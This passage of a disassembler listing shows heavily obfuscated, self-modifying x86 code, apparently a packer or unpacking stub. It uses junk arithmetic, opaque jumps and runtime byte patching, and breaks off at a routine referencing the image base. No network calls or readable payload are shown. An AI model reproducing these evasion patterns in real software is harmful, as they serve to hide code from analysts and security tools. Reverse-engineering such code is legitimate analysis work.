		dd 0C0815846h, 72B397CDh, 0FFD7A0E9h
		db 0FFh, 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FA52


loc_4320C3:				; CODE XREF: sub_42FA52:loc_42FE43j
		mov	byte ptr [edx],	3
		pop	edx
		push	ebx
		mov	ebx, eax
		xchg	ebx, [esp-8+arg_4]
		mov	eax, offset loc_43082E
		jmp	loc_4303A4
; END OF FUNCTION CHUNK	FOR sub_42FA52
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_431452


loc_4320D8:				; CODE XREF: sub_431452:loc_431946j
		add	edx, 93485557h
		or	edx, 0B4460D7Fh
		call	sub_4316FE
; END OF FUNCTION CHUNK	FOR sub_431452
; ---------------------------------------------------------------------------
		db 2 dup(0), 0Fh
		dd 7B48Ch
		db 3 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_431410


loc_4320F3:				; CODE XREF: sub_431410-1598j
		jmp	loc_431A37
; END OF FUNCTION CHUNK	FOR sub_431410
; ---------------------------------------------------------------------------
		dd 0C3810000h, 0F823FE93h, 17D50BBEh, 0E9378B49h, 0FFFFE66Ah
		dd 0EA8B5500h, 0BA242C87h, 43288Dh, 0FFCAC9E9h
		db 0FFh, 0
word_43211E	dw 0C681h		; DATA XREF: fzj3qwht:004306E4o
		dd 66802D65h, 6851F503h, 0C14CE647h, 0F7C98159h, 81E54686h
		dd 7D0E0FF1h, 0CA7BE9C7h, 0FFFFh, 22E8058Dh, 58E80043h
		dd 0FFFFD1h
; ---------------------------------------------------------------------------


loc_43214C:				; CODE XREF: fzj3qwht:00431C80j
		adc	eax, edx
		jmp	near ptr dword_42F604+59h
; ---------------------------------------------------------------------------
		align 4
		xor	ebp, ecx
		adc	edi, ecx
		or	eax, 8A499E8Fh
		add	eax, 25ACC358h
		xor	eax, 601F6139h
		jmp	loc_4328E4
; ---------------------------------------------------------------------------
		align 10h
		add	edx, 0CE90F015h
		jmp	loc_42F984
; ---------------------------------------------------------------------------
		align 4
		db 0
byte_43217D	db 8Bh,	0C7h, 5Fh	; DATA XREF: sub_42F4AE+1AB6o
		dd 0A0C015FFh, 0E2E90042h, 0FFFFD2h, 43157168h,	200E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_432196:				; DATA XREF: fzj3qwht:004302E5o
		xchg	edx, [esp]
		mov	ebp, edx
		pop	edx
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_151. PRESS KEYPAD	"+" TO EXPAND]
byte_43219D	db 0E8h			; DATA XREF: fzj3qwht:0042E841w
		dw 0E3ABh
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------


loc_4321A3:				; CODE XREF: fzj3qwht:0042FDABj
		jmp	loc_4322BF
; ---------------------------------------------------------------------------
		dd 0FE90000h, 0FFFFDAh,	87D98B53h, 58D241Ch, 431DCEh, 0FFD4B0E8h
		dd 0FA68FFh, 62E90043h,	4
; ---------------------------------------------------------------------------

locret_4321CC:				; CODE XREF: fzj3qwht:004322ABj
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4321CF:				; CODE XREF: fzj3qwht:0043003Ej
		jmp	near ptr loc_431604+1
; ---------------------------------------------------------------------------


loc_4321D4:				; CODE XREF: fzj3qwht:0042F927j
		sub	edx, 48A3075h
		xor	edx, 0A3B262F3h
		add	edx, ebp
		add	edx, 7038FA8Bh
		jmp	near ptr dword_42EB78+1Eh
; ---------------------------------------------------------------------------
		align 2
		rol	ebx, 1Eh
		add	ebx, 158E2C5Bh
		add	eax, ebx
		pop	ebx
		push	4313BCh
		jmp	locret_430788
; ---------------------------------------------------------------------------
		dd 860F0000h, 0FFFFED79h, 0E895820Fh, 0C881FFFFh, 0E487DFE5h
		dd 0CC13E950h, 0FFFFh, 0E90000C3h, 0FFFFE42Fh, 838C0F00h
		dd 0E8FFFFD2h, 0FFFFD1CDh, 0F644E900h, 0C300FFFFh, 0FFD073E9h
		db 0FFh, 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F4AE


loc_432243:				; CODE XREF: sub_42F4AE+14Fj
		jmp	loc_42FCB8
; END OF FUNCTION CHUNK	FOR sub_42F4AE
; ---------------------------------------------------------------------------
		dd 6EE9D823h, 0FFFFC5h
		db 0
; ---------------------------------------------------------------------------


loc_432251:				; CODE XREF: fzj3qwht:00430441j
		xchg	ecx, [esp]
		mov	eax, ecx
		pop	ecx
		and	eax, 70ED8D24h
		jmp	loc_432001
; ---------------------------------------------------------------------------
		align 4
		mov	byte ptr [ebx],	9
		xchg	esi, [esp]
		mov	ebx, esi
		pop	esi
		mov	edi, 4319B1h
		jmp	loc_42E908
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_431F38


loc_432279:				; CODE XREF: sub_431F38+Aj
		mov	byte ptr [eax],	8Dh
		pop	eax
		xor	ebx, 1378043Bh
		sub	ebx, 0A0834513h
		rol	ebx, 1Ah
		and	ebx, 0A6F84578h
		jmp	near ptr dword_42FFF0+1
; END OF FUNCTION CHUNK	FOR sub_431F38
; ---------------------------------------------------------------------------
		mov	byte ptr [esi],	0C6h
		pop	esi
		call	sub_42FC3B


loc_4322A0:				; CODE XREF: fzj3qwht:00430A34j
		jmp	loc_42F2E4
; ---------------------------------------------------------------------------
		align 2
		push	42FD23h
		jmp	locret_4321CC
; ---------------------------------------------------------------------------
		dd 0E3810000h, 0BECA5BDEh, 0FFF294E8h
		db 0FFh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_4322BF:				; CODE XREF: fzj3qwht:loc_4321A3j
		add	edi, 962EEE86h
		add	edi, ebp
		add	edi, 0AE51217Fh


loc_4322CD:				; DATA XREF: fzj3qwht:0042FA62o
		mov	[edi], eax
		push	edi
		mov	edi, 42EB96h
		jmp	near ptr dword_42F20C+1Eh

; =============== S U B	R O U T	I N E =======================================



sub_4322DA	proc near		; CODE XREF: sub_431410-15A7p
		xchg	eax, [esp+0]
		pop	eax
		mov	byte ptr [eax],	0C3h
		retn
sub_4322DA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_4322E3:				; CODE XREF: fzj3qwht:0042F2E9j
		jmp	locret_42F571
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0E0h, 0CCh, 0B9h
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 87h,	0Ch, 24h
		dd 0E959C18Bh, 0FFFFCF59h, 0ED67E381h
; ---------------------------------------------------------------------------
		sbb	[ecx], ch


loc_4322FE:				; CODE XREF: fzj3qwht:0042FCD8j
		jmp	near ptr dword_42F8D8+4
; ---------------------------------------------------------------------------
		align 4
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_137. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_431686


loc_432306:				; CODE XREF: sub_431686-9D3j
		jmp	loc_43278E
; END OF FUNCTION CHUNK	FOR sub_431686
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------


loc_43230D:				; CODE XREF: fzj3qwht:0042EF32j
		jmp	loc_4324F4
; ---------------------------------------------------------------------------
		align 4
		jmp	locret_42FDC8
; ---------------------------------------------------------------------------
		align 2


loc_43231A:				; CODE XREF: fzj3qwht:0042E97Ej
		jmp	loc_42EFB8
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_432322:				; DATA XREF: sub_431452-1102o
		push	esi
		mov	esi, offset loc_432959
		jmp	loc_432461
; ---------------------------------------------------------------------------
		align 2
		dw 0C981h
		dd 98F8A593h, 0F1CCC181h, 850F772Ah, 0FFFFE309h, 0E9C82300h
		dd 0FFFFE529h, 0B026E381h, 3C87F644h, 24148724h, 0E95AFA8Bh
		dd 0FFFFCC50h
; ---------------------------------------------------------------------------


loc_43235C:				; CODE XREF: fzj3qwht:00431619j
		sub	eax, 0B8DFA5AFh
		call	near ptr dword_4311B8+5
		jmp	near ptr dword_42FA74+0Fh
; ---------------------------------------------------------------------------
		dd 0E9530000h, 0FFFFF0DEh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 2
; START	OF FUNCTION CHUNK FOR sub_42F4AE


loc_432376:				; CODE XREF: sub_42F4AE-1A9j
		jmp	nullsub_144
; END OF FUNCTION CHUNK	FOR sub_42F4AE
; ---------------------------------------------------------------------------
		align 4
		dd 0FCEFBF57h, 5DE90042h, 0FFFFF2h, 0B6C18100h,	0E903B379h
		dd 356h, 0C30000h
		db 0, 8Bh, 32h

; =============== S U B	R O U T	I N E =======================================



sub_43239B	proc near		; CODE XREF: fzj3qwht:loc_4313CBp
		xchg	eax, [esp+0]
		pop	eax
		push	9803901h
		pop	edx
		jmp	near ptr word_42F5CE+1
sub_43239B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 3C87h
		dd 26685F24h, 5A886322h, 4BB1F281h, 0EA81AF9Eh,	4E0E9CE6h
		dd 0CFD7C281h, 0D503A1BAh, 0FFD279E9h, 0C3FFh, 0E80000C6h
		dd 0FFFFE2C9h, 0F6810000h, 0B850FDB0h, 0FFEA42E9h
		db 0FFh, 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_4323E7	proc near		; CODE XREF: fzj3qwht:00431E9Ap

; FUNCTION CHUNK AT 0042EB3D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00431B02 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00431BC3 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		xchg	ebp, [esp+0]
		mov	eax, ebp
		pop	ebp
		push	ebx
		mov	ebx, esi
		jmp	loc_431B02
sub_4323E7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 0CF330000h, 0FFC755E9h, 6C600FFh, 240C878Ah,	0E959F18Bh
		dd 21Eh, 0E99C0000h, 0FFFFCDF6h
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_43241A	proc near		; CODE XREF: sub_430011+Ap
		xchg	edx, [esp+0]
		pop	edx
		popf
		retn	0D3C0h
sub_43241A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 850Fh
		dd 0FFFFD25Ch, 0FFD5EAE9h, 0C300FFh
; ---------------------------------------------------------------------------


loc_432430:				; CODE XREF: fzj3qwht:0042FEE5j
		jmp	locret_42F53B
; ---------------------------------------------------------------------------
		align 2
		cdq
		jmp	sub_430A5C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F4AE


loc_43243C:				; CODE XREF: sub_42F4AE+11CFj
		pushf
		call	loc_43151C
		add	al, ch
		imul	ebx
; END OF FUNCTION CHUNK	FOR sub_42F4AE
; ---------------------------------------------------------------------------
		dw 0FFFFh
		dd 5CE90000h, 0FFFFF0h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_430F48


loc_432450:				; CODE XREF: sub_430F48+Bj
		sub	edi, 0D7C7A51Dh
		add	edi, 92DD1274h
		jmp	loc_4327D8
; END OF FUNCTION CHUNK	FOR sub_430F48
; ---------------------------------------------------------------------------


loc_432461:				; CODE XREF: fzj3qwht:00432328j
		call	near ptr dword_42F364+15h
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_432467:				; CODE XREF: fzj3qwht:0042FB84j
		jmp	loc_431228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_430F2A


loc_43246C:				; CODE XREF: sub_430F2A+Aj
		push	offset loc_42F83E
		jmp	nullsub_135
; END OF FUNCTION CHUNK	FOR sub_430F2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FF6B


loc_432476:				; CODE XREF: sub_42FF6B:loc_42EFB2j
		call	loc_43159A


loc_43247B:				; CODE XREF: fzj3qwht:00431124j
		add	[edi], dl
		add	al, 24h
		mov	ebp, eax
		pop	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_42FF6B
; ---------------------------------------------------------------------------
		align 8
		dd offset sub_432AFD
		dd 0FFEA33E9h, 0A4E900FFh, 0FFFFFDh, 116h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4316FE


loc_43249C:				; CODE XREF: sub_4316FE-1D82j
		jmp	locret_42F5B0
; END OF FUNCTION CHUNK	FOR sub_4316FE
; ---------------------------------------------------------------------------
		align 4
		dd 0EDAA3A7Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4301B7


loc_4324AA:				; CODE XREF: sub_4301B7+1Bj
		jmp	loc_43164B
; END OF FUNCTION CHUNK	FOR sub_4301B7
; ---------------------------------------------------------------------------
		align 10h
		jmp	loc_42EF28
; ---------------------------------------------------------------------------
		db 2 dup(0), 81h
		dd 0FA1196CEh, 0C9F7E991h, 5E00FFFFh, 3A66C081h, 0E8812A18h
		dd 3B8F4D56h, 5340E081h, 890F4A0Eh, 0FFFFC2F0h,	0D2D0E900h
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EB56


loc_4324E3:				; CODE XREF: sub_42EB56+10j
		jmp	loc_42FAD6
; END OF FUNCTION CHUNK	FOR sub_42EB56
; ---------------------------------------------------------------------------
		dd 52E90000h, 0C3FFFFEEh, 0FC558B00h
; ---------------------------------------------------------------------------


loc_4324F4:				; CODE XREF: fzj3qwht:loc_43230Dj
		push	ebx
		pushf
		push	222A23D9h
		pop	ebx
		jmp	loc_43254D
; ---------------------------------------------------------------------------


loc_432501:				; CODE XREF: fzj3qwht:004306C0j
		cmp	dword ptr [ebp-10h], 0
		jge	near ptr dword_42EA44+0B2h
		jmp	loc_431B61
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_432512:				; CODE XREF: fzj3qwht:0042EF38j
		push	42E88Bh
		jmp	near ptr dword_42E868+1Ah
; ---------------------------------------------------------------------------
		mov	byte ptr [eax],	0
		push	7E1652F9h
		pop	eax
		xor	eax, 7B1BC665h
		jmp	loc_430A55
; ---------------------------------------------------------------------------
		dd 37E9CB85h, 0FFFFDDh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_430A5C


loc_432538:				; CODE XREF: sub_430A5C+Fj
		add	eax, ebp
		add	eax, 3BB1BC4Fh
		jnz	short $+2
		push	ebp
		push	esp
		add	eax, 0C94FE9E0h
; END OF FUNCTION CHUNK	FOR sub_430A5C
; ---------------------------------------------------------------------------
		db 2 dup(0FFh),	0
		db 0
; ---------------------------------------------------------------------------


loc_43254D:				; CODE XREF: fzj3qwht:004324FCj
		xor	ebx, 0F975535Bh
		add	ebx, 0B51526ACh
		sub	ebx, 7A8D6698h
		add	ebx, 0EA5BD627h
		popf
		jmp	loc_4306B4
; ---------------------------------------------------------------------------
		db 0C1h
		dd 525717C1h, 1487D38Bh, 0F2E3E924h
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------


loc_43257B:				; DATA XREF: fzj3qwht:loc_430DC9o
		xor	eax, 27F5436Dh
		push	offset loc_42E8EC
		jmp	loc_432737
; ---------------------------------------------------------------------------
		db 0C1h
		dd 870F1FC5h, 0FFFFCA0Bh, 9BE9CA33h, 0FFFFEFh, 69860F00h
		dd 81FFFFD5h, 625BF9E2h, 0C84CE98Ch, 8B00FFFFh,	682AF612h
		dd 431B54h, 393E9h, 81000000h, 12EB4DCBh, 0E9FA8BAAh, 0FFFFFAC4h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_430917


loc_4325CD:				; CODE XREF: sub_430917+Aj
		mov	byte ptr [edx],	0C3h
		xchg	ebp, [esp+0]
		mov	edx, ebp
		pop	ebp
		push	offset loc_42E83C
		jmp	loc_432020
; END OF FUNCTION CHUNK	FOR sub_430917
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F4AE


loc_4325E1:				; CODE XREF: sub_42F4AE-1D5j
		push	offset loc_4303EC
		jmp	locret_4315AC
; END OF FUNCTION CHUNK	FOR sub_42F4AE
; ---------------------------------------------------------------------------
		align 4
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_145. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_4325EE:				; CODE XREF: fzj3qwht:0043131Ej
		jmp	near ptr dword_430EEC+1Ah
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_431452


loc_4325F3:				; CODE XREF: sub_431452:loc_430338j
					; DATA XREF: sub_42F4AE:loc_430121o
		mov	byte ptr [eax],	0Fh
		call	sub_431F11


loc_4325FB:				; CODE XREF: sub_431F5F-FA0j
		jmp	near ptr dword_42E794+87h
; END OF FUNCTION CHUNK	FOR sub_431452
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_432601:				; CODE XREF: fzj3qwht:004302CEj
		jmp	loc_430A50
; ---------------------------------------------------------------------------
		dw 0F7E9h
		dd 68FFFFE0h, 42EA45h, 0FFCF70E9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]
; START	OF FUNCTION CHUNK FOR sub_431410


loc_432616:				; CODE XREF: sub_431410+14j
		call	sub_42EB56
		add	[edi], cl


loc_43261D:				; CODE XREF: sub_42EB56+F8Cj
		mov	[eax-197E0001h], gs
		sub	eax, 0E8948FA1h
		das
		out	dx, al
; END OF FUNCTION CHUNK	FOR sub_431410
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0ACE9C3FFh
		db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_432633:				; CODE XREF: fzj3qwht:00430CE1j
		jmp	loc_43195D
; ---------------------------------------------------------------------------
		db 2 dup(0)
word_43263A	dw 8Bh			; DATA XREF: fzj3qwht:0043100Eo
dword_43263C	dd 0E005449Eh, 4324F168h, 0FEA5E900h ; DATA XREF: fzj3qwht:0042EEF6o
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------


loc_43264B:				; CODE XREF: fzj3qwht:0042F1C4j
		xchg	ecx, [esp]
		pop	ecx
		jz	loc_42FEE0
		push	ebx
		mov	ebx, edi
		xchg	ebx, [esp]
		jmp	loc_430FEF
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_432662:				; CODE XREF: fzj3qwht:00431758j
		push	95754FE9h
		pop	esi
		xor	esi, 0C2C0C0Fh
		sub	esi, 8D519ACBh
		jmp	loc_4315AD
; ---------------------------------------------------------------------------


loc_432679:				; CODE XREF: fzj3qwht:0042F35Ej
		or	edx, 0B0661E32h
		push	edx
		mov	edx, offset byte_430FAF
		jmp	loc_431F03
; ---------------------------------------------------------------------------
		dw 8700h
		dd 0DB70E9C6h
		db 2 dup(0FFh),	0
byte_432693	db 52h			; DATA XREF: fzj3qwht:0043018Co
		dd 1487D18Bh, 471B924h,	6BE90043h
		db 0E8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4326A3:				; CODE XREF: fzj3qwht:00431147j
		add	edx, 0A90B6B0Dh
		push	ecx
		mov	ecx, 432421h
		jmp	near ptr dword_42F364+2
; ---------------------------------------------------------------------------
		dd 1C87DF1Bh, 243C8724h, 0C9E9DF8Bh, 3FFFFFDh, 0FC7EE9CFh
		dd 0FFFFh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 2
; START	OF FUNCTION CHUNK FOR sub_42FF32


loc_4326CE:				; CODE XREF: sub_42FF32+9j
		jmp	loc_42FE9D
; END OF FUNCTION CHUNK	FOR sub_42FF32
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------


loc_4326D5:				; CODE XREF: fzj3qwht:0042F183j
		jmp	loc_430198
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, edi
		sub	eax, 827E1BD9h
		jmp	loc_4306F0
; ---------------------------------------------------------------------------
		align 2
		dw 3487h
		dd 0BB535E24h, 432540h,	0FFD6D2E9h, 243487FFh, 8B53EC8Bh
		dd 0FA5E68D9h, 4E90042h, 0FFFFE2h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_431F11


loc_43270D:				; CODE XREF: sub_431F11:loc_431388j
					; DATA XREF: sub_42F4AE+32BDo
		and	eax, [eax+edx*2+56FFFFD7h]
		push	351597C7h
		xchg	edi, [esp-4+arg_0]
		mov	esi, edi
		jmp	loc_42E938
; END OF FUNCTION CHUNK	FOR sub_431F11
; ---------------------------------------------------------------------------
		db 87h
		dd 0C65F243Ch, 815A8B02h, 66157BE0h, 0DB880F8Fh
		db 0FAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_432737:				; CODE XREF: fzj3qwht:00432586j
		jmp	near ptr dword_42E794+15h
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FA52


loc_43273D:				; CODE XREF: sub_42FA52+962j
		jmp	loc_431F49
; END OF FUNCTION CHUNK	FOR sub_42FA52
; ---------------------------------------------------------------------------
		dw 0F00h
; ---------------------------------------------------------------------------
		mov	ds, word ptr [ecx]
		add	eax, [eax]
		add	[ecx-7480251Dh], al
		imul	ebp, ecx, 0FFFFC176h


loc_432754:				; CODE XREF: fzj3qwht:loc_43180Aj
		pop	esi
		and	esi, 53F6BEAEh
		cmp	esi, 460078A5h
		jmp	loc_431D41
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F4AE


loc_432766:				; CODE XREF: sub_42F4AE+7Aj
		mov	edx, eax
		xchg	edx, [esp-0Ch+arg_8]
		mov	eax, offset loc_43270D
		jmp	loc_430121
; END OF FUNCTION CHUNK	FOR sub_42F4AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_431686


loc_432775:				; CODE XREF: sub_431686+111Aj
		js	loc_430F61
		mov	edi, [eax]
		jmp	loc_431A8F
; END OF FUNCTION CHUNK	FOR sub_431686
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F8A9


loc_432782:				; CODE XREF: sub_42F8A9+5j
		call	loc_431A8F
; END OF FUNCTION CHUNK	FOR sub_42F8A9
; ---------------------------------------------------------------------------
		db 0
		db 0
; ---------------------------------------------------------------------------


loc_432789:				; CODE XREF: fzj3qwht:00431441j
		jmp	near ptr byte_430E9D+2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_431686


loc_43278E:				; CODE XREF: sub_431686:loc_432306j
		call	sub_430AEE
		add	[edi], cl
		test	[ecx], ah
		call	near ptr 0F4AC279Bh
		test	byte ptr [edx+0], 0E9h
		jno	short loc_432775
; END OF FUNCTION CHUNK	FOR sub_431686
; ---------------------------------------------------------------------------
		dw 0FFFFh
		db 2 dup(0)
word_4327A6	dw 0C081h		; DATA XREF: fzj3qwht:004313E1o
; ---------------------------------------------------------------------------
		retn	0D4Ah
; ---------------------------------------------------------------------------
		db 0A9h
		dd 0EC68C503h, 0E900431Dh, 0FFFFEB71h, 51C30000h, 0C87CE8Bh
		dd 9ABB5324h, 0E9004307h, 0FFFFF87Bh
; ---------------------------------------------------------------------------


loc_4327CC:				; CODE XREF: fzj3qwht:00431B29j
		xchg	ebx, [esp]
		pop	ebx
		push	edx
		call	sub_431686
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_430F48


loc_4327D8:				; CODE XREF: sub_430F48+1514j
		jmp	loc_4303B9
; END OF FUNCTION CHUNK	FOR sub_430F48
; ---------------------------------------------------------------------------
		align 2


loc_4327DE:				; CODE XREF: fzj3qwht:00430A14j
		xchg	ecx, [esp]


loc_4327E1:				; CODE XREF: fzj3qwht:004327F6j
		pop	ecx
		push	eax
		mov	eax, offset loc_431AF8
		jmp	loc_431CA3
; ---------------------------------------------------------------------------
		db 2 dup(0), 0Fh
; ---------------------------------------------------------------------------
		mov	ds, word ptr [esi-7800000Fh]
		jmp	short loc_4327E1
; ---------------------------------------------------------------------------
		dd 0FFFFC7D3h, 0E9990000h, 0FFFFE199h
; ---------------------------------------------------------------------------


loc_432804:				; CODE XREF: fzj3qwht:0042F27Aj
		xchg	edx, [esp]
		pop	edx
		add	eax, 0EFB87C22h
		mov	eax, [eax]
		push	offset loc_42F481
		jmp	locret_42F480
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_431167


loc_43281C:				; CODE XREF: sub_431167:loc_430025j
		mov	byte ptr [eax],	87h
		pop	eax
		push	ebx
		push	offset loc_4328FE
		jmp	loc_42FF7C
; END OF FUNCTION CHUNK	FOR sub_431167
; ---------------------------------------------------------------------------
		align 4
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0), 87h
; ---------------------------------------------------------------------------
		add	al, 24h
		retn
; ---------------------------------------------------------------------------


loc_432833:				; CODE XREF: fzj3qwht:00431C04j
		jmp	loc_4302E1
; ---------------------------------------------------------------------------
		dd 1FD26800h, 0F2E90043h, 0FFFFF9h, 0CF035300h,	0FFF2A0E9h
		db 0FFh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_43284F:				; CODE XREF: fzj3qwht:00431006j
		cmp	esi, 2D731484h
		jmp	loc_42F883
; ---------------------------------------------------------------------------
		dw 8100h
		dd 0E64C5DF8h, 0F470E90Fh, 0FFFFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_430BD8


loc_432868:				; CODE XREF: sub_430BD8+16j
		push	42F759h
		jmp	near ptr dword_42F854+14h
; END OF FUNCTION CHUNK	FOR sub_430BD8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_431E69


loc_432872:				; CODE XREF: sub_431E69-EEBj
		mov	byte ptr [eax],	8Bh
		pop	eax
		add	eax, 0D79F39E0h


loc_43287C:				; DATA XREF: sub_431E69:loc_430F79o
		cwde


loc_43287D:				; CODE XREF: sub_42F4AE:loc_430669j
		add	cl, ch
		scasd
; END OF FUNCTION CHUNK	FOR sub_431E69
; ---------------------------------------------------------------------------
		dd 87FFFFDFh, 815A2414h, 0B646DBC6h, 9C368B6Dh,	0C5965268h
		dd 243487B8h, 50E9CE8Bh, 0FFFFFF6h, 0FFD2D98Eh
		db 0FFh
; ---------------------------------------------------------------------------


loc_4328A5:				; CODE XREF: fzj3qwht:loc_42F29Dj
		sub	eax, 94F019B0h
		add	eax, 0D552A4BAh
		add	eax, ebp
		jmp	loc_4313A4
; ---------------------------------------------------------------------------
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_4328BA	proc near		; CODE XREF: sub_430E46-14E9p

arg_0		= dword	ptr  4

		xchg	edx, [esp+0]
		pop	edx
		xchg	esi, [esp-4+arg_0]
		mov	ebp, esi
		jmp	near ptr dword_42E9A4+10h
sub_4328BA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4328CA:				; CODE XREF: fzj3qwht:00430F73j
		xchg	eax, [esp]
		xchg	edi, [esp]
		mov	eax, edi
		pop	edi
		xchg	edx, [esp]
		mov	ebx, edx
		jmp	near ptr dword_42EA44+5Bh
; ---------------------------------------------------------------------------
		align 2
		pop	edi
		call	sub_42FF04


loc_4328E4:				; CODE XREF: fzj3qwht:0043216Aj
		jmp	loc_430828
; ---------------------------------------------------------------------------
		align 2
		dw 0F081h
		dd 0E8B59D80h, 6857C503h, 741D8D61h, 0FFE754E9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]


loc_4328FE:				; DATA XREF: sub_431167+16BAo
		push	0D9FD5675h
		pop	ebx
		sub	ebx, 52BFC610h
		xor	ebx, 1873F1D0h
		sub	ebx, 59B767F3h
		xor	ebx, 23AAC197h
		call	sub_430C8C
; START	OF FUNCTION CHUNK FOR sub_431686


loc_432921:				; CODE XREF: sub_431686+Fj
		pop	edx
		rol	edx, 12h
		sub	edx, 6A3C455Bh
		rol	edx, 9
		or	edx, 3B952D31h
		call	sub_4318E2
		rol	ebx, 8
		xchg	edi, [esp+0]
		pop	edi
		cmp	dword ptr [ebp-8], 0
		jnz	loc_430B7C
		jmp	loc_431890
; END OF FUNCTION CHUNK	FOR sub_431686
; ---------------------------------------------------------------------------
		align 10h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0), 81h
; ---------------------------------------------------------------------------
		shr	byte ptr [edi-5Bh], 0A9h
		stc


loc_432959:				; DATA XREF: fzj3qwht:00432323o
		jno	short $+2
		mov	al, [ebp+eax-20h]
		push	8F379504h
		jmp	loc_42F53C
; ---------------------------------------------------------------------------
		db 0B9h, 0ECh, 0Dh
		dd 0EE90043h, 5BFFFFEFh, 8104C3C1h, 0FA19ACBh, 37C38179h
		dd 0C17165BEh, 0F3810CC3h, 94E90FB8h, 0FFC18EE9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432992	proc near		; CODE XREF: fzj3qwht:loc_42E83Cp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00432AE7 SIZE 0000000B BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	esi
		push	edi
		push	ebx
		mov	esi, offset dword_422000
		mov	eax, 400000h
		mov	[ebp+var_4], eax
		mov	edx, eax


loc_4329AA:				; CODE XREF: sub_432992+15Bj
